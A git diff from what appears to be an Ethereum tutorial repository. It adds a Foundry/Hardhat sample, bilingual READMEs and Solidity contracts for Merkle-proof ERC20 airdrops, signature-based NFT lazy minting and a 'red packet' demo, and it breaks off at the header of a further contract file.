+      ethjs-unit: 0.1.6
+      number-to-bn: 1.7.0
+      randombytes: 2.1.0
+      utf8: 3.0.0
+
+  which@1.3.1:
+    dependencies:
+      isexe: 2.0.0
+
+  widest-line@3.1.0:
+    dependencies:
+      string-width: 4.2.3
+
+  word-wrap@1.2.5: {}
+
+  wordwrap@1.0.0: {}
+
+  wordwrapjs@4.0.1:
+    dependencies:
+      reduce-flatten: 2.0.0
+      typical: 5.2.0
+
+  workerpool@6.2.1: {}
+
+  wrap-ansi@7.0.0:
+    dependencies:
+      ansi-styles: 4.3.0
+      string-width: 4.2.3
+      strip-ansi: 6.0.1
+
+  wrappy@1.0.2: {}
+
+  ws@7.4.6: {}
+
+  ws@7.5.9: {}
+
+  ws@8.5.0: {}
+
+  y18n@5.0.8: {}
+
+  yallist@4.0.0: {}
+
+  yargs-parser@20.2.4: {}
+
+  yargs-unparser@2.0.0:
+    dependencies:
+      camelcase: 6.3.0
+      decamelize: 4.0.0
+      flat: 5.0.2
+      is-plain-obj: 2.1.0
+
+  yargs@16.2.0:
+    dependencies:
+      cliui: 7.0.4
+      escalade: 3.1.2
+      get-caller-file: 2.0.5
+      require-directory: 2.1.1
+      string-width: 4.2.3
+      y18n: 5.0.8
+      yargs-parser: 20.2.4
+
+  yn@3.1.1: {}
+
+  yocto-queue@0.1.0: {}
diff --git a/basic/41-foundry/with-hardhat/remappings.txt b/basic/41-foundry/with-hardhat/remappings.txt
new file mode 100644
index 000000000..feaba2dd1
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/remappings.txt
@@ -0,0 +1 @@
+forge-std/=lib/forge-std/src/
diff --git a/basic/41-foundry/with-hardhat/tasks/accounts.ts b/basic/41-foundry/with-hardhat/tasks/accounts.ts
new file mode 100644
index 000000000..85d055f70
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/tasks/accounts.ts
@@ -0,0 +1,13 @@
+// import { Signer } from '@ethersproject/abstract-signer';
+import '@nomicfoundation/hardhat-ethers';
+import { task } from 'hardhat/config';
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task('accounts', 'Prints the list of accounts', async (taskArgs, hre) => {
+  const accounts = await hre.ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
diff --git a/basic/41-foundry/with-hardhat/test/sample-test.ts b/basic/41-foundry/with-hardhat/test/sample-test.ts
new file mode 100644
index 000000000..24581176b
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/test/sample-test.ts
@@ -0,0 +1,20 @@
+import '@nomicfoundation/hardhat-chai-matchers';
+import { expect } from 'chai';
+import { ethers } from 'hardhat';
+
+describe('Greeter', function () {
+  it("Should return the new greeting once it's changed", async function () {
+    const Greeter = await ethers.getContractFactory('Greeter');
+    const greeter = await Greeter.deploy('Hello, world!');
+    const txReceipt = await greeter.deploymentTransaction()?.wait();
+    expect(txReceipt).to.exist;
+    console.log(`Contract deployed at address: ${txReceipt?.contractAddress}`);
+
+    expect(await greeter.greet()).to.equal('Hello, world!');
+
+    const setGreetingTx = await greeter.setGreeting('Hola, mundo!');
+    // wait until the transaction is mined
+    await setGreetingTx.wait();
+    expect(await greeter.greet()).to.equal('Hola, mundo!');
+  });
+});
diff --git a/basic/41-foundry/with-hardhat/tsconfig.json b/basic/41-foundry/with-hardhat/tsconfig.json
new file mode 100644
index 000000000..574e785c7
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/tsconfig.json
@@ -0,0 +1,11 @@
+{
+  "compilerOptions": {
+    "target": "es2020",
+    "module": "commonjs",
+    "esModuleInterop": true,
+    "forceConsistentCasingInFileNames": true,
+    "strict": true,
+    "skipLibCheck": true,
+    "resolveJsonModule": true
+  }
+}
diff --git a/basic/42-merkle-distributor-airdrop/.env.example b/basic/42-merkle-distributor-airdrop/.env.example
new file mode 100644
index 000000000..35d4b419d
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/.env.example
@@ -0,0 +1,6 @@
+PRIVATE_KEY=yyyy
+PRIVATE_KEY1=yyyy
+PRIVATE_KEY2=yyyy
+INFURA_ID=zzzz
+PROJECT_ID=xxxxx
+TARGET_ACCOUNT=mmm
\ No newline at end of file
diff --git a/basic/42-merkle-distributor-airdrop/.gitignore b/basic/42-merkle-distributor-airdrop/.gitignore
new file mode 100644
index 000000000..139c69340
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/.gitignore
@@ -0,0 +1,8 @@
+.env
+node_modules/
+
+# redpack contract address
+scripts/redpacket/deployment.json
+
+# ipynb
+.ipynb_checkpoints/
\ No newline at end of file
diff --git a/basic/42-merkle-distributor-airdrop/README-CN.md b/basic/42-merkle-distributor-airdrop/README-CN.md
new file mode 100644
index 000000000..d03727885
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/README-CN.md
@@ -0,0 +1,188 @@
+# Merkle Distributor Airdrop
+
+## 介绍
+
+### NFT merkle airdrop
+
+本样例介绍了 5 种 NFT 空投方式
+
+- 直接对特定账户进行空投
+- 线下签名,线上验证通过后空投
+- 线下 EIP-712 方式签名, 线上验证后空投
+- 线下 EIP-712 方式签名, 线上进行 EIP-712 验证, Signature Check
+- 线下生成 Merkle 证明, 线上 Merkle 验证
+
+### ERC20 merkle airdrop
+
+参考 1inch，dydx，uniswap 都实现 merkle 空投。 具体原理请参考：
+
+- <https://itzone.com.vn/en/article/merkle-airdrop-the-airdrop-solution-for-token-issues/>
+
+### 抢红包
+
+本样例演示了抢红包合约的功能, 在节假日的时候可以部署相应的合约进行红包发放.
+对应合约路径为 contracts/redpacket
+
+## 合约功能说明
+
+- ERC721Basic
+  最简单的 NFT 空投合约, 项目方直接调用 mint 接口, 对指定账户投放 NFT
+
+  ```js
+  //
+  await expect(this.registry.connect(this.accounts[1]).mint(account, tokenId))
+    .to.emit(this.registry, 'Transfer')
+    .withArgs(ethers.constants.AddressZero, account, tokenId);
+  ```
+
+- ERC721LazyMint  
+  经过验证的空投方式. 可能在下面这种场景中出现, 比如项目方准备空投 NFT 给一些用户, 那么项目方先发送一个邮件给该用户, 邮件中包含此 NFT 的 tokenID. 用户收到邮件后, 在线下根据 toukenID 和 账户地址进行签名, 然后发送给项目方. 项目方拿到用户签名后, 调用空投合约的 redeem 接口, 传入 account, tokenId, signature. 其中 account, tokenId 需要从预先保留的项目方数据库中获取, 以验证该用户确实对应该 NFT. 如果验证通过, 则生成一个 NFT 给该用户.
+
+  ```js
+  // 签名
+  this.token.signature = await this.accounts[1].signMessage(hashToken(this.token.tokenId, this.token.account));
+
+  // 签名上链验证
+  await expect(this.registry.redeem(this.token.account, this.token.tokenId, this.token.signature))
+    .to.emit(this.registry, 'Transfer')
+    .withArgs(ethers.constants.AddressZero, this.token.account, this.token.tokenId);
+  ```
+
+- ERC721LazyMintWith712  
+  在传统的签名方式中, 我们直接调用签名接口, 传入需要的签名参数, 这个过程中我们无法直观的感知需要签名具体参数意义, 特别是当 MetaMask 弹出提示, 需要你对一笔数据进行签名时, 如果不能结构化的看到需要签名的具体数据, 我们可能会拒绝签名这笔交易.
+  EIP-712 就是在用户签名时把结构化数据展示给他们确认的场景. 之后链上确认签名是否正确, 过程和 ERC721LazyMint 类似
+  链下签名样例如下:
+
+  ```js
+  // Domain
+    {
+      name: 'Name',
+      version: '1.0.0',
+      chainId: this.chainId,
+      verifyingContract: this.registry.address,
+    },
+    // Types
+    {
+      NFT: [
+        { name: 'tokenId', type: 'uint256' },
+        { name: 'account', type: 'address' },
+      ],
+    },
+    // Value
+    this.token,
+  );
+  ```
+
+- ERC721LazyMintWith712SignatureChecker  
+  和 ERC721LazyMintWith712 类似, 唯一的区别就是在链上进行验证时, 增加了 SignatureChecker
+
+  ```js
+  function _verify(address signer, bytes32 digest, bytes memory signature)
+      internal view returns (bool)
+      {
+          return hasRole(MINTER_ROLE, signer) && SignatureChecker.isValidSignatureNow(signer, digest, signature);
+      }
+  ```
+
+- ERC721MerkleDrop  
+  链下生成 Merkle 证明, 之后把 Merkle 证明发送到链上进行验证, 验证通过后, 就会给用户生成相应的 NFT token
+
+  ```js
+  // 链下生成 Merkle 证明
+  this.token.proof = this.merkleTree.getHexProof(hashToken(this.token.tokenId, this.token.account));
+
+  // 调用链上接口进行验证, 同时生成 NFT token
+  await expect(this.registry.redeem(this.token.account, this.token.tokenId, this.token.signature))
+    .to.emit(this.registry, 'Transfer')
+    .withArgs(ethers.constants.AddressZero, this.token.account, this.token.tokenId);
+  ```
+
+## 测试流程
+
+### Merkle airdrop
+
+- 安装依赖
+
+  ```bash
+  yarn
+  ```
+
+- 执行测试程序
+
+  ```bash
+  npx hardhat test
+  ```
+
+### HappyRedPacket
+
+- 配置环境环境变量
+
+  ```shell
+  cp .env.exmpale .env
+
+  ## 在 .env 文件中配置 PRIVATE_KEY, PRIVATE_KEY1, PRIVATE_KEY2,INFURA_ID, PROJECT_ID, TARGET_ACCOUNT
+  ## 比如有一个账户 A , 那么 PRIVATE_KEY 为账户 A 对应的 PRIVATE_KEY， TARGET_ACCOUNT 为账户 A 对应的账户地址
+  ## 模拟多人抢红包，需要配置三个私钥
+  ```
+
+- 安装依赖
+
+  ```shell
+  yarn
+  ```
+
+- 部署 ERC20 合约  
+  执行如下命令，然后获取输出的 "Token address" 值
+
+  ```shell
+  npx hardhat run scripts/redpacket/1-deploySimpleToken.js --network kovan
+
+  ## 输入信息如下:
+  Deploying contracts with the account: 0x3238f24e7C752398872B768Ace7dd63c54CfEFEc
+  Account balance: 796474026501725149
+  Token address: 0xdc6999dC3f818B4f74550569CCC7C82091cA419F
+  1000000000
+  ```
+
+- 部署 RedPacket 合约  
+  执行如下命令，然后获取输出的 "RedPacket address" 值
+
+  ```shell
+  npx hardhat run scripts/redpacket/2-deployHappyRedPacket.js --network kovan
+
+  ## 输出信息如下:
+  Deploying contracts with the account: 0x3238f24e7C752398872B768Ace7dd63c54CfEFEc
+  Account balance: 783625061469463255
+  RedPacket address: 0x6F35e57a7421F5b04DDb47b67453A5a5Be32e58B
+  ```
+
+- 创建红包  
+  ```shell
+  npx hardhat run scripts/redpacket/3-createRedPacket.js --network kovan
+
+  ## 输出值
+  Approve Successfully
+  merkleTree Root: 0x5cc6f1ff34a2c6f871d40cdc4559468f96a7ec06d7bf6ab0f9b5aeccc9b33154
+  CreationSuccess Event, total: 10000   RedpacketId: 0x45eb11e56a1b699f5e99bd16785c84b73a8257c712e0d1f31306ab1e3423b2e0
+  Create Red Packet successfully
+  ```
+
+- 领取红包
+  ```shell
+  npx hardhat run scripts/redpacket/4-claimRedpacket.js --network kovan
+
+  ## 得到的输出 "Sign Message:" 即为领取红包时需要输入的签名信息，防止恶意领取
+  ```
+
+## 参考链接
+
+- <https://github.com/Anish-Agnihotri/merkle-airdrop-starter>
+- <https://github.com/OpenZeppelin/workshops/tree/master/06-nft-merkle-drop/contracts>
+- <https://github.com/miguelmota/merkletreejs>
+- erc20 merkle drop: <https://github.com/trustlines-protocol/merkle-drop/blob/master/contracts/contracts/MerkleDrop.sol>
+- merkle drop discussion: <https://forum.openzeppelin.com/t/creating-a-claimable-air-drop-too-many-addresses/6806>
+- Evolution of Airdrop: <https://medium.com/hackernoon/evolution-of-airdrop-from-common-spam-to-the-merkle-tree-30caa2344170>
+- github demo: <https://github.com/smartzplatform/constructor-eth-merkle-airdrop>
+- uni airdrop: <https://github.com/Uniswap/merkle-distributor>
+- uni airdrop: <https://steveng.medium.com/performing-merkle-airdrop-like-uniswap-85e43543a592>
+- ethereum etl: <https://github.com/blockchain-etl/ethereum-etl>
\ No newline at end of file
diff --git a/basic/42-merkle-distributor-airdrop/README.md b/basic/42-merkle-distributor-airdrop/README.md
new file mode 100644
index 000000000..2a72f8a72
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/README.md
@@ -0,0 +1,189 @@
+# Merkle Distributor Airdrop
+
+## Introduction
+
+### NFT merkle airdrop
+
+This demo introduces 5 methods for NFT-airdrop:
+- Airdrop to specific address
+- A signature implying the beneficiary is submitted to blockchain for verification and airdropping
+- A signature following EIP-712 is submitted to blockchain for verification and airdropping
+- A signature following EIP-712 is submitted to blockchain for verification ,signature check and airdropping
+- A merkle proof is submitted to blockchain for verification and airdropping
+
+### ERC20 merkle airdrop
+
+Kindly refer to 1inch, dydx, uniswap for more details, all the projects utilize merkle proof for airdropping. Please read more for details:
+
+- <https://itzone.com.vn/en/article/merkle-airdrop-the-airdrop-solution-for-token-issues/>
+
+### Demo: Red packet
+
+We present a demo in which you can airdrop to your friends on holiday!
+
+Please refer to the code: contracts/redpacket
+
+## Demo instruction
+
+- ERC721Basic
+  The most simple demo where the issuer can airdrop NFT to specific address by calling "mint" :
+
+  ```js
+  //
+  await expect(this.registry.connect(this.accounts[1]).mint(account, tokenId))
+    .to.emit(this.registry, 'Transfer')
+    .withArgs(ethers.constants.AddressZero, account, tokenId);
+  ```
+
+- ERC721LazyMint  
+  This is a demo where airdropping happens after verification. Considier the following case: Before the real "mint" is called on blockchain, the issuer firstly send an email containing the token id to the user, who will respond with a signature created with this token id. Then, the issuer wraps user address(fetched from some database), token id and signature as input to calls "redeem" of the NFT contract, which will mint a new NFT to the target user on verification success. 
+
+
+  ```js
+  // Signature
+  this.token.signature = await this.accounts[1].signMessage(hashToken(this.token.tokenId, this.token.account));
+
+  // Post the signature to blockchain
+  await expect(this.registry.redeem(this.token.account, this.token.tokenId, this.token.signature))
+    .to.emit(this.registry, 'Transfer')
+    .withArgs(ethers.constants.AddressZero, this.token.account, this.token.tokenId);
+  ```
+
+- ERC721LazyMintWith712  
+  In the above example, we create signature with a parameter maybe friendly to machine but not that friendly to humans. Moreover, when Metamask pops up for signing we do not know what is being signed. We prefer a more structured, more readable scheme for us to see what data will be signed. EIP-712 address this point; It can display the data to be signed to user, and the generated signature will be verified by smart contract. The whole process is similiar to that in ERC721LazyMint. 
+
+  Here is a example for creating signature by EIP-712:
+
+  ```js
+  // Domain
+    {
+      name: 'Name',
+      version: '1.0.0',
+      chainId: this.chainId,
+      verifyingContract: this.registry.address,
+    },
+    // Types
+    {
+      NFT: [
+        { name: 'tokenId', type: 'uint256' },
+        { name: 'account', type: 'address' },
+      ],
+    },
+    // Value
+    this.token,
+  );
+  ```
+
+- ERC721LazyMintWith712SignatureChecker  
+  This demo is similiar to ERC721LazyMintWith712 but with a SignatureChecker inside.
+
+  ```js
+  function _verify(address signer, bytes32 digest, bytes memory signature)
+      internal view returns (bool)
+      {
+          return hasRole(MINTER_ROLE, signer) && SignatureChecker.isValidSignatureNow(signer, digest, signature);
+      }
+  ```
+
+- ERC721MerkleDrop  
+  A merkle proof is generated and sent to blockchain for verification, if valid,  the newly created NTT is minted to specific user.
+
+  ```js
+  // Generate merkle proof offchain
+  this.token.proof = this.merkleTree.getHexProof(hashToken(this.token.tokenId, this.token.account));
+
+  // Verify the proof and mint to some user. Whole process happens onchain.
+  await expect(this.registry.redeem(this.token.account, this.token.tokenId, this.token.signature))
+    .to.emit(this.registry, 'Transfer')
+    .withArgs(ethers.constants.AddressZero, this.token.account, this.token.tokenId);
+  ```
+
+## Quickstart
+
+### Merkle airdrop
+
+- Install dependencies
+
+  ```bash
+  yarn
+  ```
+
+- Test
+
+  ```bash
+  npx hardhat test
+  ```
+
+### HappyRedPacket
+
+- Setup enviroments
+
+  ```shell
+  cp .env.exmpale .env
+
+  ## Please configure PRIVATE_KEY, PRIVATE_KEY1, PRIVATE_KEY2,INFURA_ID, PROJECT_ID, TARGET_ACCOUNT in .env
+  ## PRIVATE_KEY is the private key of your wallet account ， while TARGET_ACCOUNT is your wallet address.
+  ## If you want multiple accounts trying to claim the same redpacket, please configures multiple PRIVATE_KEYs.
+  ```
+
+- Install dependencies
+
+  ```shell
+  yarn
+  ```
+
+- Deploy ERC20 smart contract
+   Execute the following command and we take "Token address" from output as address of the deployed contract.
+
+  ```shell
+  npx hardhat run scripts/redpacket/1-deploySimpleToken.js --network kovan
+
+  ## Console output
+  Deploying contracts with the account: 0x3238f24e7C752398872B768Ace7dd63c54CfEFEc
+  Account balance: 796474026501725149
+  Token address: 0xdc6999dC3f818B4f74550569CCC7C82091cA419F
+  1000000000
+  ```
+
+- Deploy RedPacket smart contract
+  Execute the following command and we take "RedPacket address" from output as address of the deployed contract.
+
+  ```shell
+  npx hardhat run scripts/redpacket/2-deployHappyRedPacket.js --network kovan
+
+  ## Console output
+  Deploying contracts with the account: 0x3238f24e7C752398872B768Ace7dd63c54CfEFEc
+  Account balance: 783625061469463255
+  RedPacket address: 0x6F35e57a7421F5b04DDb47b67453A5a5Be32e58B
+  ```
+
+- Create a red packet  
+  ```shell
+  npx hardhat run scripts/redpacket/3-createRedPacket.js --network kovan
+
+  ## Console output
+  Approve Successfully
+  merkleTree Root: 0x5cc6f1ff34a2c6f871d40cdc4559468f96a7ec06d7bf6ab0f9b5aeccc9b33154
+  CreationSuccess Event, total: 10000   RedpacketId: 0x45eb11e56a1b699f5e99bd16785c84b73a8257c712e0d1f31306ab1e3423b2e0
+  Create Red Packet successfully
+  ```
+
+- Claim packet
+  ```shell
+  npx hardhat run scripts/redpacket/4-claimRedpacket.js --network kovan
+
+  ## We can see "Sign Message:" followed by a signature verified by smart contract 
+  ```
+
+## References
+
+- <https://github.com/Anish-Agnihotri/merkle-airdrop-starter>
+- <https://github.com/OpenZeppelin/workshops/tree/master/06-nft-merkle-drop/contracts>
+- <https://github.com/miguelmota/merkletreejs>
+- erc20 merkle drop: <https://github.com/trustlines-protocol/merkle-drop/blob/master/contracts/contracts/MerkleDrop.sol>
+- merkle drop discussion: <https://forum.openzeppelin.com/t/creating-a-claimable-air-drop-too-many-addresses/6806>
+- Evolution of Airdrop: <https://medium.com/hackernoon/evolution-of-airdrop-from-common-spam-to-the-merkle-tree-30caa2344170>
+- github demo: <https://github.com/smartzplatform/constructor-eth-merkle-airdrop>
+- uni airdrop: <https://github.com/Uniswap/merkle-distributor>
+- uni airdrop: <https://steveng.medium.com/performing-merkle-airdrop-like-uniswap-85e43543a592>
+- ethereum etl: <https://github.com/blockchain-etl/ethereum-etl>
\ No newline at end of file
diff --git a/basic/42-merkle-distributor-airdrop/contracts/erc20/IERC20.sol b/basic/42-merkle-distributor-airdrop/contracts/erc20/IERC20.sol
new file mode 100644
index 000000000..1d0863fff
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/contracts/erc20/IERC20.sol
@@ -0,0 +1,77 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+/**
+ * @dev Interface of the ERC20 standard as defined in the EIP.
+ */
+interface IERC20 {
+    /**
+     * @dev Returns the amount of tokens in existence.
+     */
+    function totalSupply() external view returns (uint256);
+
+    /**
+     * @dev Returns the amount of tokens owned by `account`.
+     */
+    function balanceOf(address account) external view returns (uint256);
+
+    /**
+     * @dev Moves `amount` tokens from the caller's account to `recipient`.
+     *
+     * Returns a boolean value indicating whether the operation succeeded.
+     *
+     * Emits a {Transfer} event.
+     */
+    function transfer(address recipient, uint256 amount) external returns (bool);
+
+    /**
+     * @dev Returns the remaining number of tokens that `spender` will be
+     * allowed to spend on behalf of `owner` through {transferFrom}. This is
+     * zero by default.
+     *
+     * This value changes when {approve} or {transferFrom} are called.
+     */
+    function allowance(address owner, address spender) external view returns (uint256);
+
+    /**
+     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
+     *
+     * Returns a boolean value indicating whether the operation succeeded.
+     *
+     * IMPORTANT: Beware that changing an allowance with this method brings the risk
+     * that someone may use both the old and the new allowance by unfortunate
+     * transaction ordering. One possible solution to mitigate this race
+     * condition is to first reduce the spender's allowance to 0 and set the
+     * desired value afterwards:
+     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
+     *
+     * Emits an {Approval} event.
+     */
+    function approve(address spender, uint256 amount) external returns (bool);
+
+    /**
+     * @dev Moves `amount` tokens from `sender` to `recipient` using the
+     * allowance mechanism. `amount` is then deducted from the caller's
+     * allowance.
+     *
+     * Returns a boolean value indicating whether the operation succeeded.
+     *
+     * Emits a {Transfer} event.
+     */
+    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
+
+    /**
+     * @dev Emitted when `value` tokens are moved from one account (`from`) to
+     * another (`to`).
+     *
+     * Note that `value` may be zero.
+     */
+    event Transfer(address indexed from, address indexed to, uint256 value);
+
+    /**
+     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
+     * a call to {approve}. `value` is the new allowance.
+     */
+    event Approval(address indexed owner, address indexed spender, uint256 value);
+}
diff --git a/basic/42-merkle-distributor-airdrop/contracts/erc20/IMerkleDistributor.sol b/basic/42-merkle-distributor-airdrop/contracts/erc20/IMerkleDistributor.sol
new file mode 100644
index 000000000..a82fb7395
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/contracts/erc20/IMerkleDistributor.sol
@@ -0,0 +1,16 @@
+pragma solidity ^0.8.0;
+
+// Allows anyone to claim a token if they exist in a merkle root.
+interface IMerkleDistributor {
+    // Returns the address of the token distributed by this contract.
+    function token() external view returns (address);
+    // Returns the merkle root of the merkle tree containing account balances available to claim.
+    function merkleRoot() external view returns (bytes32);
+    // Returns true if the index has been marked claimed.
+    function isClaimed(uint256 index) external view returns (bool);
+    // Claim the given amount of the token to the given address. Reverts if the inputs are invalid.
+    function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external;
+
+    // This event is triggered whenever a call to #claim succeeds.
+    event Claimed(uint256 index, address account, uint256 amount);
+}
\ No newline at end of file
diff --git a/basic/42-merkle-distributor-airdrop/contracts/erc20/MerkleDistributor.sol b/basic/42-merkle-distributor-airdrop/contracts/erc20/MerkleDistributor.sol
new file mode 100644
index 000000000..40ccfefb0
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/contracts/erc20/MerkleDistributor.sol
@@ -0,0 +1,62 @@
+pragma solidity ^0.8.0;
+
+import "./IERC20.sol";
+import "./MerkleProof.sol";
+import "./IMerkleDistributor.sol";
+
+contract MerkleDistributor is IMerkleDistributor {
+    address public immutable override token;
+    bytes32 public immutable override merkleRoot;
+    address public owner;
+    uint256 public expire_time;
+
+    // This is a packed array of booleans.
+    mapping(uint256 => uint256) private claimedBitMap;
+
+    constructor(address token_, bytes32 merkleRoot_, uint _duration, address _owner) public {
+        owner = _owner;
+        token = token_;
+        merkleRoot = merkleRoot_;
+        expire_time = block.timestamp + _duration;
+    }
+
+    function isClaimed(uint256 index) public view override returns (bool) {
+        uint256 claimedWordIndex = index / 256;
+        uint256 claimedBitIndex = index % 256;
+        uint256 claimedWord = claimedBitMap[claimedWordIndex];
+        uint256 mask = (1 << claimedBitIndex);
+        return claimedWord & mask == mask;
+    }
+
+    function _setClaimed(uint256 index) private {
+        uint256 claimedWordIndex = index / 256;
+        uint256 claimedBitIndex = index % 256;
+        claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
+    }
+
+    function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external override {
+        require (expire_time > block.timestamp, "Expired");
+        require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.');
+
+
+        // Verify the merkle proof.
+        bytes32 node = keccak256(abi.encodePacked(index, account, amount));
+        require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.');
+
+        // Mark it claimed and send the token.
+        _setClaimed(index);
+        require(IERC20(token).transfer(account, amount), 'MerkleDistributor: Transfer failed.');
+
+        emit Claimed(index, account, amount);
+    }
+
+     /// @notice  owner withdraw the rest token
+    function claimRestTokens(address to ) public returns (bool) {
+        // only owner
+        require (expire_time < block.timestamp, "Not expired yet");
+        require(msg.sender == owner);
+        require(IERC20(token).balanceOf(address(this)) >= 0);
+        require(IERC20(token).transfer(to, IERC20(token).balanceOf(address(this))));
+        return true;
+    }
+}
\ No newline at end of file
diff --git a/basic/42-merkle-distributor-airdrop/contracts/erc20/MerkleDistributorFactory.sol b/basic/42-merkle-distributor-airdrop/contracts/erc20/MerkleDistributorFactory.sol
new file mode 100644
index 000000000..7d83ab961
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/contracts/erc20/MerkleDistributorFactory.sol
@@ -0,0 +1,25 @@
+pragma solidity ^0.8.0;
+
+import "./MerkleDistributor.sol";
+
+contract MerkleDistributorFactory {
+    // Keep track of all created distributors
+    MerkleDistributor[] public distributors;
+
+    event DistributorCreated(address indexed distributorAddress);
+
+    function createDistributor(address token, bytes32 merkleRoot, uint _duration, address owner ) public {
+        MerkleDistributor distributor = new MerkleDistributor(token, merkleRoot, _duration,msg.sender);
+        distributors.push(distributor);
+        emit DistributorCreated(address(distributor));
+    }
+
+    function getDistributor(uint index) public view returns (MerkleDistributor) {
+        require(index < distributors.length, "Index out of bounds");
+        return distributors[index];
+    }
+
+    function getDistributorsCount() public view returns (uint) {
+        return distributors.length;
+    }
+}
\ No newline at end of file
diff --git a/Example09-hardhat-react/contracts/utils/cryptography/MerkleProof.sol b/basic/42-merkle-distributor-airdrop/contracts/erc20/MerkleProof.sol
similarity index 77%
rename from Example09-hardhat-react/contracts/utils/cryptography/MerkleProof.sol
rename to basic/42-merkle-distributor-airdrop/contracts/erc20/MerkleProof.sol
index 9c9e94511..65463889c 100644
--- a/Example09-hardhat-react/contracts/utils/cryptography/MerkleProof.sol
+++ b/basic/42-merkle-distributor-airdrop/contracts/erc20/MerkleProof.sol
@@ -3,13 +3,7 @@
 pragma solidity ^0.8.0;
 
 /**
- * @dev These functions deal with verification of Merkle Trees proofs.
- *
- * The proofs can be generated using the JavaScript library
- * https://github.com/miguelmota/merkletreejs[merkletreejs].
- * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
- *
- * See `test/utils/cryptography/MerkleProof.test.js` for some examples.
+ * @dev These functions deal with verification of Merkle trees (hash trees),
  */
 library MerkleProof {
     /**
diff --git a/basic/42-merkle-distributor-airdrop/contracts/erc20/TestERC20.sol b/basic/42-merkle-distributor-airdrop/contracts/erc20/TestERC20.sol
new file mode 100644
index 000000000..509d91935
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/contracts/erc20/TestERC20.sol
@@ -0,0 +1,21 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.0;
+
+import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
+
+contract TestERC20 is ERC20 {
+    constructor (string memory name_, string memory symbol_, uint amountToMint) ERC20(name_, symbol_) public {
+        setBalance(msg.sender, amountToMint);
+    }
+
+    // sets the balance of the address
+    // this mints/burns the amount depending on the current balance
+    function setBalance(address to, uint amount) public {
+        uint old = balanceOf(to);
+        if (old < amount) {
+            _mint(to, amount - old);
+        } else if (old > amount) {
+            _burn(to, old - amount);
+        }
+    }
+}
\ No newline at end of file
diff --git a/basic/42-merkle-distributor-airdrop/contracts/erc721/ERC721Basic.sol b/basic/42-merkle-distributor-airdrop/contracts/erc721/ERC721Basic.sol
new file mode 100644
index 000000000..2c05599d7
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/contracts/erc721/ERC721Basic.sol
@@ -0,0 +1,26 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/access/AccessControl.sol";
+import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
+import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
+
+contract ERC721Basic is ERC721, AccessControl {
+    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
+
+    constructor(string memory name, string memory symbol)
+    ERC721(name, symbol)
+    {
+        _grantRole(DEFAULT_ADMIN_ROLE, _msgSender());
+    }
+
+    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, AccessControl) returns (bool) {
+        return super.supportsInterface(interfaceId);
+    }
+
+    function mint(address account, uint256 tokenId)
+    external onlyRole(MINTER_ROLE)
+    {
+        _safeMint(account, tokenId);
+    }
+}
diff --git a/basic/42-merkle-distributor-airdrop/contracts/erc721/ERC721LazyMint.sol b/basic/42-merkle-distributor-airdrop/contracts/erc721/ERC721LazyMint.sol
new file mode 100644
index 000000000..c80e781b2
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/contracts/erc721/ERC721LazyMint.sol
@@ -0,0 +1,40 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/access/AccessControl.sol";
+import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
+import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
+import "@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";
+
+contract ERC721LazyMint is ERC721, AccessControl {
+    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
+
+    constructor(string memory name, string memory symbol)
+    ERC721(name, symbol)
+    {
+        _grantRole(DEFAULT_ADMIN_ROLE, _msgSender());
+    }
+
+    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, AccessControl) returns (bool) {
+        return super.supportsInterface(interfaceId);
+    }
+
+    function redeem(address account, uint256 tokenId, bytes calldata signature)
+    external
+    {
+        require(_verify(_hash(account, tokenId), signature), "Invalid signature");
+        _safeMint(account, tokenId);
+    }
+
+    function _hash(address account, uint256 tokenId)
+    internal pure returns (bytes32)
+    {
+        return MessageHashUtils.toEthSignedMessageHash(keccak256(abi.encodePacked(tokenId, account)));
+    }
+
+    function _verify(bytes32 digest, bytes memory signature)
+    internal view returns (bool)
+    {
+        return hasRole(MINTER_ROLE, ECDSA.recover(digest, signature));
+    }
+}
diff --git a/basic/42-merkle-distributor-airdrop/contracts/erc721/ERC721LazyMintWith712.sol b/basic/42-merkle-distributor-airdrop/contracts/erc721/ERC721LazyMintWith712.sol
new file mode 100644
index 000000000..9dfee7335
--- /dev/null
